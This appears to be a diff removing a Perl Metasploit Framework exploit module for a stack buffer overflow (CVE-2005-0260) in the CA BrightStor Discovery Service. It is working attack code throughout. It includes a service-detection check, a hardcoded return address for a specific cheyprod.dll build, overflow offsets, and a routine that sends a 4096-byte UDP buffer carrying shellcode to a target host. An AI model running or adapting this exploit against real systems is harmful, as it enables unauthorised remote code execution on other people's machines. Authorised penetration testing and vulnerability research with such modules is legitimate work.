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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::cabrightstor_disco;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'CA BrightStor Discovery Service Overflow',
- 'Version' => '$Revision: 1.16 $',
- 'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ],
- 'Priv' => 1,
- 'AutoOpts' => { 'EXITFUNC' => 'process' },
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 41524],
- },
-
- 'Payload' =>
- {
- 'Space' => 2048,
- 'BadChars' => "\x00",
- 'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
- 'Keys' => ['+ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a vulnerability in the CA BrightStor
- Discovery Service. This vulnerability occurs when a large
- request is sent to UDP port 41524, triggering a stack
- overflow.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '13613'],
- ['BID', '12491'],
- ['CVE', '2005-0260'],
- ['URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'],
- ['MIL', '14'],
- ],
-
- 'Targets' =>
- [
- ['cheyprod.dll 12/12/2003', 0x23808eb0], # call to edi reg
- ],
-
- 'Keys' => ['brightstor'],
-
- 'DisclosureDate' => 'Dec 20 2004',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = 41523;
-
- # Connection #1 should not receive a response
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- $s->Send("META");
- my $res = $s->Recv(-1, 1);
- $s->Close;
-
- if ($res) {
- $self->PrintLine("[*] The discovery returned a strange response: $res");
- }
-
- # Connection #2 should receive the hostname of the target
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- $s->Send("hMETA");
- my $res = $s->Recv(-1, 1);
- $s->Close;
-
- if (! $res) {
- $self->PrintLine("[*] The discovery service did not respond to our query");
- return $self->CheckCode('Generic');
- }
-
- $self->PrintLine("[*] Discovery service active on host: $res");
- return $self->CheckCode('Detected');
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
-
- my $s = Msf::Socket::Udp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- my $bang = "X" x 4096;
-
- # esp @ 971
- # ret @ 968
- # edi @ 1046
- # end = 4092
-
- substr($bang, 968, 4, pack('V', $target->[1]));
- substr($bang, 1046, length($shellcode), $shellcode);
-
- $self->PrintLine("[*] Sending " .length($bang) . " bytes to remote host.");
- $s->Send($bang);
- $s->Recv(-1, 5);
-
- return;
- }
-
- 1;
-